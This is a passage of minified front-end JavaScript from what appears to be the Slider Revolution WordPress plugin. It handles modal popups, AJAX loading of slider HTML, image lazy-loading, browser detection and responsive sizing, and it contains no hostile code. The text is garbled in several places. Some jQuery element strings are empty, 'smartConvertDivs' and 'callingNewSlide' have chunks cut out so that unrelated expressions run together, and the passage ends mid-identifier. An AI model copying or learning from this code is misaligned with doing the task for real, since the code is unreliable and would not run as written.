a[e].useFullScreenHeight?a[e].canv.height:Math.max(a[e].currentRowsHeight,a[e].gridheight[a[e].level])},updateFixedScrollTimes:function(e){!0===a[e].sbtimeline.set&&!0===a[e].sbtimeline.fixed&&"auto"!==a[e].sliderLayout&&(a[e].sbtimeline.rest=a[e].duration-a[e].sbtimeline.fixEnd,a[e].sbtimeline.time=a[e].duration-(a[e].sbtimeline.fixStart+a[e].sbtimeline.rest),a[e].sbtimeline.extended=a[e].sbtimeline.time/10)},addSafariFix:function(e){!0===window.isSafari11&&!0!==a[e].safari3dFix&&(a[e].safari3dFix=!0,a[e].c[0].className+=" safarifix")},openModalAPI:function(i,r,o,s,n,l){if(window.RS_60_MODALS!==t&&-1!=e.inArray(i,window.RS_60_MODALS)||window.RS_60_MODAL_API_CALLS!==t&&-1!=e.inArray(i,window.RS_60_MODAL_API_CALLS))e.inArray(i,window.RS_60_MODALS)>=0&&e.fn.revolution.document.trigger("RS_OPENMODAL_"+i,r);else{window.RS_60_MODAL_API_CALLS=window.RS_60_MODAL_API_CALLS||[],window.RS_60_MODAL_API_CALLS.push(i),l===t&&(l={}),l.alias===t&&(l.alias=i),s&&a.showModalCover(n,l,"show");var d={action:"revslider_ajax_call_front",client_action:"get_slider_html",alias:i,usage:"modal"};e.ajax({type:"post",url:o,dataType:"json",data:d,success:function(o,d,c){if(null!==o&&1==o.success){var p;if(n=n==t?o.htmlid:n,o.waiting!==t)for(p in o.waiting)-1==e.inArray(o.waiting[p],RS_MODULES.waiting)&&(RS_MODULES.waiting.push(o.waiting[p]),window.RS_MODULES.minimal=!1);if(o.toload!==t){var g="";for(p in RS_MODULES=RS_MODULES||{},RS_MODULES.requestedScripts=[],o.toload)o.toload.hasOwnProperty(p)&&(RS_MODULES!=t&&RS_MODULES[p]!=t&&!0===RS_MODULES[p].loaded||-1===e.inArray(p,RS_MODULES.requestedScripts)&&(RS_MODULES.requestedScripts.push(p),g+=o.toload[p]));""!==g&&e("body").append(g)}RS_MODULES!==t&&RS_MODULES.modules[o.htmlid]!=t||e("body").append(o.data),s&&a.showModalCover(n,l,"hide"),a[i]!==t&&a[i].openModalApiListener?e.fn.revolution.document.trigger("RS_OPENMODAL_"+i,r):e(document).on("RS_MODALOPENLISTENER_"+i,function(t){e.fn.revolution.document.trigger("RS_OPENMODAL_"+i,r)})}else s&&a.showModalCover(n,l,"hide")},error:function(e){s&&a.showModalCover(n,l,"hide"),console.log("Modal Can not be Loaded"),console.log(e)}})}},showModalCover:function(i,r,o){switch(o){case"show":var s;if(r.spin!==t&&"off"!==r.spin&&(s=a.buildSpinner(i,"spinner"+r.spin,r.spinc,"modalspinner")),r.bg!==t&&!1!==r.bg&&"false"!==r.bg&&"transparent"!==r.bg){var n=e('');e("body").append(n),r.speed=parseFloat(r.speed),r.speed=r.speed>200?r.speed/1e3:r.speed,r.speed=Math.max(Math.min(3,r.speed),.3),tpGS.gsap.to(n,r.speed,{display:"block",opacity:1,ease:"power3.inOut"}),a.isModalOpen=!0,s!==t&&n.append(s)}else s!==t&&a[i].c.append(s);break;case"hide":(n=e('rs-modal-cover[data-alias="'+r.alias+'"] .modalspinner'))!==t&&n.length>0?n.remove():i!==t&&a[i].c.find(".modalspinner").remove()}},revModal:function(i,r){if(i!==t&&a[i]!==t&&"clicked"!==a[i].modal.closeProtection){if(!0===a[i].modal.closeProtection)return a[i].modal.closeProtection,void setTimeout(function(){a[i].modal.closeProtection=!1,a.revModal(i,r)},750);switch(a[i].modal.lastModalCall=r.mode,r.mode){case"show":if(!0===a[i].modal.isLive)return;if(!0===a.anyModalclosing)return;a.document.trigger("RS_MODALOPENED"),a[i].modal.isLive=!0,r.slide=r.slide===t?"to0":r.slide,a[i].modal.bodyclass!==t&&a[i].modal.bodyclass.length>=0&&document.body.classList.add(a[i].modal.bodyclass),a[i].modal.bg.attr("data-rid",i),tpGS.gsap.to(a[i].modal.bg,a[i].modal.coverSpeed,{display:"block",opacity:1,ease:"power3.inOut"}),tpGS.gsap.set(a[i].modal.c,{display:"auto"===a[i].sliderLayout?"inline-block":"block",opacity:0}),a[i].cpar.removeClass("hideallscrollbars"),tpGS.gsap.set(a[i].cpar,{display:"block",opacity:1});var o={a:0};a.isModalOpen=!0,a[i].clearModalBG=!0,"carousel"===a[i].sliderType&&a[i].pr_active_bg!==t&&a[i].pr_active_bg.length>0&&tpGS.gsap.to(a[i].pr_active_bg,.5,{opacity:1}),tpGS.gsap.fromTo(o,a[i].modal.coverSpeed/5,{a:0},{a:10,ease:"power3.inOut",onComplete:function(){a.openModalId=i,a[i].sliderisrunning?("to0"!==r.slide&&(a[i].startedWithOtherSlide=!0),a.callingNewSlide(i,r.slide)):("to0"!==r.slide&&(a[i].startWithSlideKey=r.slide),h(i))}}),setTimeout(function(){tpGS.gsap.fromTo([a[i].modal.c],.01,{opacity:0},{opacity:1,delay:a[i].modal.coverSpeed/4,ease:"power3.inOut",onComplete:function(){}}),window.overscrollhistory=document.body.style.overflow,a[i].modal.allowPageScroll||(document.body.style.overflow="hidden"),"fullscreen"===a[i].sliderLayout&&a.getWindowDimension()},250),"fullscreen"!==a[i].sliderLayout&&a.getWindowDimension();break;case"close":if(!0===a.anyModalclosing)return;a.anyModalclosing=!0,a.openModalId=t,k(i),document.body.style.overflow=window.overscrollhistory,a[i].cpar.addClass("hideallscrollbars"),a[i].c.trigger("stoptimer"),a[i].modal.bodyclass!==t&&a[i].modal.bodyclass.length>=0&&document.body.classList.remove(a[i].modal.bodyclass),tpGS.gsap.to(a[i].modal.bg,a[i].modal.coverSpeed,{display:"none",opacity:0,ease:"power3.inOut"}),tpGS.gsap.to(a[i].modal.c,a[i].modal.coverSpeed/6.5,{display:"none",delay:a[i].modal.coverSpeed/4,opacity:0,onComplete:function(){tpGS.gsap.set(a[i].cpar,{display:"none",opacity:0}),a.document.trigger("revolution.all.resize"),a.document.trigger("revolution.modal.close",[a[i].modal]),a.getWindowDimension(),a.isModalOpen=!1}}),a[i].modal.closeProtection=!0,clearTimeout(a[i].modal.closeTimer),a[i].modal.closeTimer=setTimeout(function(){a.anyModalclosing=!1,a[i].modal.isLive=!1,a[i].modal.closeProtection=!1},Math.max(750,1020*a[i].modal.coverSpeed));break;case"init":if(window.RS_60_MODALS=window.RS_60_MODALS===t?[]:window.RS_60_MODALS,-1===e.inArray(a[i].modal.alias,window.RS_60_MODALS)&&window.RS_60_MODALS.push(a[i].modal.alias),a[i].modal.listener===t&&(a[i].modal.c=e("#"+i+"_modal"),!1!==a[i].modal.cover&&"false"!==a[i].modal.cover||(a[i].modal.coverColor="transparent"),a[i].modal.bg=e('rs-modal-cover[data-alias="'+a[i].modal.alias+'"]'),a[i].modal.bg===t||0===a[i].modal.bg.length?(a[i].modal.bg=e(''),"auto"===a[i].sliderLayout&&a[i].modal.cover?e("body").append(a[i].modal.bg):a[i].modal.c.append(a[i].modal.bg)):a[i].modal.bg.attr("data-rid",i),a[i].modal.c[0].className+="rs-modal-"+a[i].sliderLayout,a[i].modal.calibration={left:"auto"===a[i].sliderLayout?"center"===a[i].modal.horizontal?"50%":"left"===a[i].modal.horizontal?"0px":"auto":"0px",right:"auto"===a[i].sliderLayout?"center"===a[i].modal.horizontal?"auto":"left"===a[i].modal.horizontal?"auto":"0px":"0px",top:"auto"===a[i].sliderLayout||"fullwidth"===a[i].sliderLayout?"middle"===a[i].modal.vertical?"50%":"top"===a[i].modal.vertical?"0px":"auto":"0px",bottom:"auto"===a[i].sliderLayout||"fullwidth"===a[i].sliderLayout?"middle"===a[i].modal.vertical?"auto":"top"===a[i].modal.vertical?"auto":"0px":"0px",y:("auto"===a[i].sliderLayout||"fullwidth"===a[i].sliderLayout)&&"middle"===a[i].modal.vertical?"-50%":0,x:"auto"===a[i].sliderLayout&&"center"===a[i].modal.horizontal?"-50%":0},"-50%"===a[i].modal.calibration.y&&(a[i].modal.calibration.filter="blur(0px)"),tpGS.gsap.set(a[i].modal.c,"auto"===a[i].sliderLayout||"fullscreen"===a[i].sliderLayout?e.extend(!0,a[i].modal.calibration,{opacity:0,display:"none"}):{opacity:0,display:"none"}),"fullwidth"===a[i].sliderLayout&&tpGS.gsap.set(a[i].modal.c.find("rs-module-wrap"),a[i].modal.calibration),a.document.on("RS_OPENMODAL_"+a[i].modal.alias,function(e,r){e!==t&&e.detail!==t&&e.detail.slide!==t&&r==t&&(r=e.detail.slide),a[i].initEnded=!0,a.revModal(i,{mode:"show",slide:r})}),a[a[i].modal.alias]=a[a[i].modal.alias]||{},a[a[i].modal.alias].openModalApiListener=!0,a.document.trigger("RS_MODALOPENLISTENER_"+a[i].modal.alias),a.document.on("click","rs-modal-cover",function(){a.revModal(a.gA(this,"rid"),{mode:"close"})}),a[i].modal.listener=!0,a[i].modal.trigger!==t)){var s,n=a[i].modal.trigger.split(";");for(o in a[i].modal.trigger={},n)if(n.hasOwnProperty(o))switch((s=n[o].split(":"))[0]){case"t":a[i].modal.trigger.time=parseInt(s[1],0);break;case"s":a[i].modal.trigger.scroll=s[1];break;case"so":a[i].modal.trigger.scrollo=parseInt(s[1],0);break;case"e":a[i].modal.trigger.event=s[1];break;case"ha":a[i].modal.trigger.hash=s[1];break;case"co":a[i].modal.trigger.cookie=s[1]}var l=!0;if(a[i].modal.trigger.cookie!==t?l="true"!==a.getCookie(a[i].modal.alias+"_modal_one_time"):"true"==a.getCookie(a[i].modal.alias+"_modal_one_time")&&a.setCookie(a[i].modal.alias+"_modal_one_time",!1,10),l&&(a[i].modal.trigger.time!==t&&0!==a[i].modal.trigger.time&&(a[i].modal.trigger.cookie!==t&&a.setCookie(a[i].modal.alias+"_modal_one_time",!0,a[i].modal.trigger.cookie),setTimeout(function(){a.document.trigger("RS_OPENMODAL_"+a[i].modal.alias)},a[i].modal.trigger.time)),a[i].modal.trigger.scrollo!==t||a[i].modal.trigger.scroll!==t)){a[i].modal.trigger.scroll!==t&&e(a[i].modal.trigger.scroll)[0]!==t&&(a[i].modal.trigger.scroll=e(a[i].modal.trigger.scroll)[0]);var d=function(){if(a[i].modal.trigger.scroll!==t)var e="string"==typeof a[i].modal.trigger.scroll?document.getElementById(a[i].modal.trigger.scroll):"object"==typeof a[i].modal.trigger.scroll?a[i].modal.trigger.scroll:t,r=e!==t&&null!==e?a[i].modal.trigger.scroll.getBoundingClientRect():t;(a[i].modal.trigger.scroll!==t&&r!==t&&Math.abs(r.top+(r.bottom-r.top)/2-a.getWinH(i)/2)<50||a[i].modal.trigger.scrollo!==t&&Math.abs(a[i].modal.trigger.scrollo-(a.scrollY!==t?a.scrollY:window.scrollY))<100)&&(a.document.trigger("RS_OPENMODAL_"+a[i].modal.alias),a[i].modal.trigger.cookie!==t&&a.setCookie(a[i].modal.alias+"_modal_one_time",!0,a[i].modal.trigger.cookie),document.removeEventListener("scroll",d))};document.addEventListener("scroll",d,{id:i,passive:!0})}a[i].modal.trigger.event!==t&&a.document.on(a[i].modal.trigger.event,function(){a.document.trigger("RS_OPENMODAL_"+a[i].modal.alias)}),"t"==a[i].modal.trigger.hash&&window.location.hash.substring(1)==a[i].modal.alias&&a.document.trigger("RS_OPENMODAL_"+a[i].modal.alias)}}}},smartConvertDivs:function(e){var t="";if("string"==typeof e&&e.indexOf("#")>=0){var i=e.split(","),a=i.length-1;for(var r in i)t="string"==typeof i[r]&&"#"===i[r][0]?t+i[r][1]/i[r][3]*100+"%"+(r=0&&c[l].src.indexOf("data")>=0&&delete c[l].dataset.src;var u=g(c[l],t,r),h=u!==t?u:a.gA(c[l],"svg_src")!=t?a.gA(c[l],"svg_src"):c[l].src===t?e(c[l]).data("src"):c[l].src,m=a.gA(c[l],"svg_src")!=t?"svg":"img";h!==t&&a[r].loadqueue!==t&&0==a[r].loadqueue.filter(function(e){return e.src===h}).length&&a[r].loadqueue.push({src:h,img:c[l],index:l,starttoload:Date.now(),type:m||"img",prio:o,progress:c[l].complete&&h===c[l].src?"loaded":"prepared",static:s,width:c[l].complete&&h===c[l].src?c[l].width:t,height:c[l].complete&&h===c[l].src?c[l].height:t})}for(var l in p)p.hasOwnProperty(l)&&p[l]!==t&&p[l].dataset!==t&&p[l].dataset.bglazy!==t&&p[l].style.backgroundImage.indexOf("dummy.png")>=0&&(p[l].style.backgroundImage='url("'+p[l].dataset.bglazy+'")');p[l]!==t&&p[l].dataset!==t&&p[l].dataset.bglazy!==t&&p[l].style.backgroundImage.indexOf("dummy.png")>=0&&(p[l].style.backgroundImage='url("'+p[l].dataset.bglazy+'")')}!a[r].cparBgChecked&&a[r].cpar[0]!==t&&a[r].cpar[0].dataset!==t&&a[r].cpar[0].dataset.bglazy!==t&&a[r].cpar[0].style.backgroundImage.indexOf("dummy.png")>=0&&(a[r].cparBgChecked=!0,a[r].cpar[0].style.backgroundImage='url("'+a[r].cpar[0].dataset.bglazy+'")'),_(r)}},waitForCurrentImages:function(i,r,o){if(i!==t&&0!==i.length&&a[r]!==t){var s=!1,n=[];if(Array.isArray(i))for(var l in i)i.hasOwnProperty(l)&&i[l]!==t&&n.push(i[l]);else n.push(i);for(var d in n)if(n.hasOwnProperty(d)){var c=n[d].querySelectorAll("img, rs-sbg, .rs-svg");for(l in c)if(c.hasOwnProperty(l)&&"length"!==l&&!(c[l].className.indexOf("rs-pzimg")>=0)){var p=e(c[l]).data(),u=g(c[l],t,r),h=u!==t?u:a.gA(c[l],"svg_src")!=t?a.gA(c[l],"svg_src"):c[l].src===t?p.src:c[l].src,m=a.getLoadObj(r,h);if(a.sA(c[l],"src-rs-ref",h),p.loaded===t&&m!==t&&m.progress&&"loaded"==m.progress){if("img"==m.type){if(c[l].src.slice(c[l].src.length-10)!==m.src.slice(m.src.length-10)&&(c[l].src=m.src),p.slidebgimage){-1==m.src.indexOf("images/transparent.png")&&-1==m.src.indexOf("assets/transparent.png")||p.bgcolor===t||p.bgcolor!==t&&"transparent"!==p.bgcolor&&(m.bgColor=!0,m.useBGColor=!0),a.sA(n[d],"owidth",m.width),a.sA(n[d],"oheight",m.height);var v=a.getByTag(n[d],"RS-SBG-WRAP"),f=a.gA(n[d],"key");if(a[r].sbgs[f].loadobj=m,v.length>0&&(a.sA(v[0],"owidth",m.width),a.sA(v[0],"oheight",m.height)),"carousel"===a[r].sliderType){var y=e(v),w=a.getSlideIndex(r,f);(a[r].carousel.justify&&a[r].carousel.slide_widths===t||a[r].carousel.slide_width===t)&&a.setCarouselDefaults(r,!0),y.data("panzoom")===t||a[r].panzoomTLs!==t&&a[r].panzoomTLs[w]!==t||a.startPanZoom(y,r,0,w,"prepare",f),a[r].sbgs[f].isHTML5&&!a[r].sbgs[f].videoisplaying&&(a[r].sbgs[f].video=a[r].sbgs[f].loadobj.img),n[d].getAttribute("data-iratio")!==t&&!n[d].getAttribute("data-iratio")&&m.img&&m.img.naturalWidth&&(n[d].setAttribute("data-iratio",m.img.naturalWidth/m.img.naturalHeight),a.setCarouselDefaults(r,"redraw",!0),!0===a[r].carousel.ocfirsttun&&a.organiseCarousel(r,"right",!0,!1,!1)),a.updateSlideBGs(r,f,a[r].sbgs[f])}}}else"svg"==m.type&&"loaded"==m.progress&&(c[l].innerHTML=m.innerHTML);p.loaded=!0}m&&m.progress&&m.progress.match(/inprogress|inload|prepared/g)&&(!m.error&&Date.now()-m.starttoload<15e3?s=!0:(m.progress="failed",m.reported_img||(m.reported_img=!0,console.log(h+" Could not be loaded !")))),1!=a[r].youtubeapineeded||window.YT&&YT.Player!=t||(s=x("youtube",r)),1!=a[r].vimeoapineeded||window.Vimeo||(s=x("vimeo",r))}}e.each(a[r].loadqueue,function(e,t){!0===t.static&&("loaded"!=t.progress&&"done"!==t.progress||"failed"===t.progress)&&("failed"!=t.progress||t.reported?!t.error&&Date.now()-t.starttoload<5e3?s=!0:t.reported||(t.reported=S(t.src,t.error)):t.reported=S(t.src,t.error))}),s?tpGS.gsap.delayedCall(.02,a.waitForCurrentImages,[i,r,o]):o!==t&&tpGS.gsap.delayedCall(1e-4,o)}},updateVisibleArea:function(e){for(var i in a[e].viewPort.visible_area=a.revToResp(a[e].viewPort.visible_area,a[e].rle,"0px"),a[e].viewPort.vaType=new Array(4),a[e].viewPort.visible_area)a[e].viewPort.visible_area.hasOwnProperty(i)&&(!1===a[e].viewPort.local&&!0===a[e].viewPort.global?(a[e].viewPort.vaType[i]=a[e].viewPort.globalDist.indexOf("%")>=0?"%":"px",a[e].viewPort.visible_area[i]=parseInt(a[e].viewPort.globalDist)):(a.isNumeric(a[e].viewPort.visible_area[i])&&(a[e].viewPort.visible_area[i]+="%"),a[e].viewPort.visible_area[i]!==t&&(a[e].viewPort.vaType[i]=a[e].viewPort.visible_area[i].indexOf("%")>=0?"%":"px"),a[e].viewPort.visible_area[i]=parseInt(a[e].viewPort.visible_area[i],0)),a[e].viewPort.visible_area[i]="%"==a[e].viewPort.vaType[i]?a[e].viewPort.visible_area[i]/100:a[e].viewPort.visible_area[i])},observeFonts:function(e,i,r){r=r===t?0:r,a.fonts===t&&(a.fonts={},a.monoWidth=l("monospace"),a.sansWidth=l("sans-serif"),a.serifWidth=l("serif")),r++;var o=a.fonts[e];!0!==a.fonts[e]&&(a.fonts[e]=a.monoWidth!==l(e+",monospace")||a.sansWidth!==l(e+",sans-serif")||a.serifWidth!==l(e+",serif")),100===r||(!1===o||o===t)&&!0===a.fonts[e]?(l(e+",monospace",!0),l(e+",sans-serif",!0),l(e+",serif",!0),i()):setTimeout(function(){a.observeFonts(e,i,r)},19)},getversion:function(){return i},currentSlideIndex:function(e){return a[e].pr_active_key},iOSVersion:function(){return!!(navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i)||navigator.userAgent.match(/iPad/i))&&navigator.userAgent.match(/OS 4_\d like Mac OS X/i)},setIsIOS:function(){a.isiPhone=/iPhone|iPod/.test(navigator.userAgent)&&!window.MSStream,a.isIOS=/iPad|iPhone|iPod/.test(navigator.userAgent)&&!window.MSStream||"MacIntel"===navigator.platform&&void 0!==navigator.standalone},setIsChrome8889:function(){a.isChrome8889=a.isChrome8889===t?navigator.userAgent.indexOf("Chrome/88")>=0||navigator.userAgent.indexOf("Chrome/89")>=0:a.isChrome8889},isIE:function(){if(a.isIERes===t){var i=e('
            ').appendTo(e("body"));i.html("\x3c!--[if IE 8]> 1)||i);return i&&document.body&&-1===document.body.className.indexOf("rs-ISM")&&(document.body.className+=" rs-ISM"),i},is_android:function(){var e=["android","Android"],t=!1;for(var i in e)e.hasOwnProperty(i)&&(t=!!(t||navigator.userAgent.split(e[i]).length>1)||t);return t},callBackHandling:function(t,i,r){a[t].callBackArray&&e.each(a[t].callBackArray,function(e,t){t&&t.inmodule&&t.inmodule===i&&t.atposition&&t.atposition===r&&t.callback&&t.callback.call()})},get_browser:function(){var e,t=navigator.userAgent,i=t.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i)||[];return/trident/i.test(i[1])?(e=/\brv[ :]+(\d+)/g.exec(t)||[],"IE"):"Chrome"===i[1]&&null!=(e=t.match(/\b(OPR|Edge)\/(\d+)/))?e[1].replace("OPR","Opera"):(i=i[2]?[i[1],i[2]]:[navigator.appName,navigator.appVersion,"-?"],null!=(e=t.match(/version\/(\d+)/i))&&i.splice(1,1,e[1]),i[0])},get_browser_version:function(){var e,t=navigator.appName,i=navigator.userAgent,a=i.match(/(edge|opera|chrome|safari|firefox|msie)\/?\s*(\.?\d+(\.\d+)*)/i);return a&&null!=(e=i.match(/version\/([\.\d]+)/i))&&(a[2]=e[1]),(a=a?[a[1],a[2]]:[t,navigator.appVersion,"-?"])[1]},isFaceBook:function(){return a.isFaceBookApp==t&&(a.isFaceBookApp=navigator.userAgent||navigator.vendor||window.opera,a.isFaceBookApp=a.isFaceBookApp.indexOf("FBAN")>-1||a.isFaceBookApp.indexOf("FBAV")>-1),a.isFaceBookApp},isFirefox:function(e){return a[e].isFirefox=a[e].isFirefox===t?"Firefox"===a.get_browser():a[e].isFirefox,a.isFF=a[e].isFirefox,a[e].isFirefox},isSafari11:function(){return"safari"===a.trim(a.get_browser().toLowerCase())&&parseFloat(a.get_browser_version())>=11},isWebkit:function(){var e=/(webkit)[ \/]([\w.]+)/.exec(navigator.userAgent.toLowerCase());return e&&e[1]&&"webkit"===e[1]},isIE11:function(){return a.IE11=a.IE11===t?!!navigator.userAgent.match(/Trident.*rv\:11\./):a.IE11,a.IE11},checkBackdrop:function(){var e=document.createElement("div");e.style.cssText="-webkit-backdrop-filter: blur(2px)";var i=0!=e.style.length,r=document.documentMode===t||document.documentMode>9;i&&r||(e.style.cssText="backdrop-filter: blur(2px)",i=0!=e.style.length),e=null,a.useBackdrop=i&&r},deepLink:function(e,i){if(i!==t){var r=parseInt(i.toString().replace(/^slide/,"").replace("-",""),10);if(isNaN(r))for(var o in a[e].slides)if(a[e].slides.hasOwnProperty(o)&&a.gA(a[e].slides[o],"deeplink")===i){r=parseInt(a.gA(a[e].slides[o],"originalindex"),10);break}return isNaN(r)||r<1||r>a[e].realslideamount?void 0:r}},getHorizontalOffset:function(e,t){var i=d(e,".outer-left"),a=d(e,".outer-right");return"left"==t?i:"right"==t?a:"all"==t?{left:i,right:a,both:i+a,inuse:i+a!=0}:i+a},getComingSlide:function(e,i){var r=a[e].pr_next_key!==t?a[e].pr_next_key:a[e].pr_processing_key!==t?a[e].pr_processing_key:a[e].pr_active_key,o=0;if(o=0,a[e].pr_active_slide!==t&&"true"==a.gA(a[e].pr_active_slide[0],"not_in_nav")&&(r=a[e].pr_lastshown_key),i!==t&&a.isNumeric(i)||i!==t&&i.match(/to/g))o=1===i||-1===i?parseInt(r,0)+i<0?a[e].slideamount-1:parseInt(r,0)+i>=a[e].slideamount?0:parseInt(r,0)+i:(i=a.isNumeric(i)?i:parseInt(i.split("to")[1],0))<0?0:i>a[e].slideamount-1?a[e].slideamount-1:i;else if(i)for(var s in a[e].slides)a[e].slides.hasOwnProperty(s)&&(o=a[e].slides&&a[e].slides[s]&&(a.gA(a[e].slides[s],"key")===i||a[e].slides[s].id===i)?s:o);return{nindex:o,aindex:r}},callingNewSlide:function(e,i,r,o){var s=a.getComingSlide(e,i);a[e].pr_next_key=s.nindex,a[e].sdir="bullet"!==a[e].sc_indicator&&a[e].pr_active_key==a[e].slideamount-1&&0==a[e].pr_next_key?0:a[e].pr_next_keyparseInt(a[e].responsiveLevels[s]))&&(t=parseInt(a[e].responsiveLevels[s]),o=parseInt(s),i=parseInt(a[e].responsiveLevels[s])),a.winWAll>a[e].responsiveLevels[s]&&ir.w?r.h=r.w:r.w=r.h,(r.h>1||r.w>1)&&(r.w=1,r.h=1))),r},updateDims:function(e,i){var r=a[e].pr_processing_key||a[e].pr_active_key||0,o=a[e].pr_active_key||0,s=a[e].modal!==t&&a[e].modal.useAsModal,n=s?a.winWAll:a.winW,l=!1;if(a[e].lastScrollBarWidth=a.scrollBarWidth,a[e].redraw=a[e].redraw===t?{}:a[e].redraw,a[e].module=a[e].module===t?{}:a[e].module,a[e].canv=a[e].canv===t?{}:a[e].canv,a[e].content=a[e].content===t?{}:a[e].content,a[e].drawUpdates={c:{},cpar:{},canv:{}},"carousel"==a[e].sliderType?a[e].module.margins={top:parseInt(a[e].carousel.padding_top||0,0),bottom:parseInt(a[e].carousel.padding_bottom||0,0)}:a[e].module.margins={top:0,bottom:0},a[e].module.paddings===t&&(a[e].module.paddings={top:parseInt(a[e].cpar.css("paddingTop"),0)||0,bottom:parseInt(a[e].cpar.css("paddingBottom"),0)||0}),a[e].blockSpacing!==t?(a[e].block={bottom:a[e].blockSpacing.bottom!==t?parseInt(a[e].blockSpacing.bottom[a[e].level],0):0,top:a[e].blockSpacing.top!==t?parseInt(a[e].blockSpacing.top[a[e].level],0):0,left:a[e].blockSpacing.left!==t?parseInt(a[e].blockSpacing.left[a[e].level],0):0,right:a[e].blockSpacing.right!==t?parseInt(a[e].blockSpacing.right[a[e].level],0):0},a[e].block.hor=a[e].block.left+a[e].block.right,a[e].block.ver=a[e].block.top+a[e].block.bottom):a[e].block===t&&(a[e].block={top:0,left:0,right:0,bottom:0,hor:0,ver:0}),a[e].blockSpacing!==t){var d={paddingLeft:a[e].block.left,paddingRight:a[e].block.right,marginTop:a[e].block.top,marginBottom:a[e].block.bottom},c=JSON.stringify(d);d!==a[e].emptyObject&&c!==a[e].caches.setsizeBLOCKOBJ&&(tpGS.gsap.set(a[e].blockSpacing.block,d),a[e].caches.setsizeBLOCKOBJ=c,l=!0)}if(a[e].levelForced=a[e].level=a.getResponsiveLevel(e),a[e].rowHeights=a.getRowHeights(e),a[e].aratio=a[e].gridheight[a[e].level]/a[e].gridwidth[a[e].level],a[e].module.width="auto"===a[e].sliderLayout||1==a[e].disableForceFullWidth?a[e].cpar.width():n-a[e].block.hor,a[e].outNavDims=a.getOuterNavDimension(e),a[e].canv.width=a[e].module.width-a[e].outNavDims.horizontal-(s?a.scrollBarWidth:0),s&&"auto"===a[e].sliderLayout&&(a[e].canv.width=Math.min(a[e].gridwidth[a[e].level],n)),"fullscreen"===a[e].sliderLayout||a[e].infullscreenmode){var p=a.getWinH(e)-(!0===a[e].modal.useAsModal?0:a.getFullscreenOffsets(e));a[e].canv.height=Math.max(a[e].rowHeights.cur,Math.max(p-a[e].outNavDims.vertical,a[e].minHeight)),o!==r&&(a[e].currentSlideHeight=Math.max(a[e].rowHeights.last,Math.max(p-a[e].outNavDims.vertical,a[e].minHeight)),a[e].redraw.maxHeightOld=!0),a[e].drawUpdates.c.height="100%"}else a[e].canv.height=a[e].keepBPHeight?a[e].gridheight[a[e].level]:Math.round(a[e].canv.width*a[e].aratio),a[e].canv.height=a[e].autoHeight?a[e].canv.height:Math.min(a[e].canv.height,a[e].gridheight[a[e].level]),a[e].carousel.prevNextVisCalculated="carousel"==a[e].sliderType&&"v"==a[e].carousel.orientation?"%"==a[e].carousel.prevNextVisType?a[e].canv.height*a[e].carousel.prevNextVis:a[e].carousel.prevNextVis:0,a[e].canv.height=Math.max(Math.max(a[e].rowHeights.cur,a[e].canv.height),a[e].minHeight)+a[e].carousel.prevNextVisCalculated,a[e].drawUpdates.c.height=a[e].canv.height;"fullscreen"!==a[e].sliderLayout&&"fullwidth"!==a[e].sliderLayout||(a[e].canv.width-=a[e].cpar.outerWidth()-a[e].cpar.width(),"fullscreen"===a[e].sliderLayout&&(a[e].canv.height-=a[e].cpar.outerHeight()-a[e].cpar.height())),a[e].module.height=a[e].canv.height,"fullwidth"!=a[e].sliderLayout||a[e].fixedOnTop||(a[e].drawUpdates.c.maxHeight=0!=a[e].maxHeight?Math.min(a[e].canv.height,a[e].maxHeight):a[e].canv.height),a[e].CM=a.getSizeMultpilicator(e,a[e].enableUpscaling,{width:a[e].canv.width,height:a[e].canv.height}),a[e].content.width=a[e].gridwidth[a[e].level]*a[e].CM.w,a[e].content.height=Math.round(Math.max(a[e].rowHeights.cur,a[e].gridheight[a[e].level]*a[e].CM.h));var g=a[e].module.margins.top+a[e].module.margins.bottom+("fullscreen"===a[e].sliderLayout?0:a[e].outNavDims.vertical)+a[e].canv.height+a[e].module.paddings.top+a[e].module.paddings.bottom;a[e].drawUpdates.cpar.height=g,a[e].drawUpdates.cpar.width="auto"===a[e].sliderLayout?"auto":a[e].module.width,"auto"===a[e].sliderLayout||"fullscreen"===a[e].sliderLayout&&!0===a[e].disableForceFullWidth||a[e].rsFullWidthWrap===t?"fullscreen"==a[e].sliderLayout&&1==a[e].disableForceFullWidth&&(a[e].drawUpdates.cpar.left=0):a[e].drawUpdates.cpar.left=0-Math.ceil(a[e].rsFullWidthWrap.offset().left-(a[e].outNavDims.left+a[e].block.left)),a[e].sbtimeline.set&&a[e].sbtimeline.fixed?(a[e].sbtimeline.extended===t&&a.updateFixedScrollTimes(e),a[e].forcerHeight=2*g+a[e].sbtimeline.extended,a[e].sbtimeline.pullc&&a[e].rsFullWidthWrap!==t&&null!==a[e].rsFullWidthWrap[0]&&requestAnimationFrame(function(){var t=a[e].rsFullWidthWrapMarginBottom+-1*a[e].forcerHeight;a[e].rsFullWidthWrap[0].style.marginBottom=(isNaN(t)?a[e].rsFullWidthBottomMarginPush:a[e].rsFullWidthBottomMarginPush+t)+"px"}),a[e].rsFullWidthWrap!==t&&null!==a[e].rsFullWidthWrap[0]&&"fullscreen"==a[e].sliderLayout&&(a[e].rsFullWidthBottomMarginPush=a.getFullscreenOffsets(e),a[e].rsFullWidthWrap[0].style.marginBottom=a[e].rsFullWidthBottomMarginPush+"px")):a[e].forcerHeight=g,a[e].forcerHeight!==a[e].caches.setsizeForcerHeight&&a[e].forcer!==t&&(a[e].caches.setsizeForcerHeight=a[e].forcerHeight,l=!0,a[e].redraw.forcer=!0),a[e].drawUpdates.c.width=a[e].canv.width,"auto"===a[e].sliderLayout&&(a[e].drawUpdates.c.left=a[e].outNavDims.left),a[e].drawUpdates.c!==a[e].emptyObject&&JSON.stringify(a[e].drawUpdates.c)!==a[e].caches.setsizeCOBJ&&(a[e].caches.setsizeCOBJ=JSON.stringify(a[e].drawUpdates.c),l=!0,a[e].redraw.c=!0),a[e].drawUpdates.cpar!==a[e].emptyObject&&JSON.stringify(a[e].drawUpdates.cpar)!==a[e].caches.setsizeCPAROBJ&&(a[e].caches.setsizeCPAROBJ=JSON.stringify(a[e].drawUpdates.cpar),l=!0,a[e].redraw.cpar=!0),s&&"auto"===a[e].sliderLayout&&a[e].caches.canWidth!==a[e].canv.width&&(a[e].caches.canWidth=a[e].canv.width,l=!0,a[e].redraw.modalcanvas=!0),a[e].slayers&&a[e].slayers.length>0&&a[e].outNavDims.left!==a[e].caches.outNavDimsLeft&&"fullwidth"!=a[e].sliderLayout&&"fullscreen"!=a[e].sliderLayout&&(a[e].caches.outNavDimsL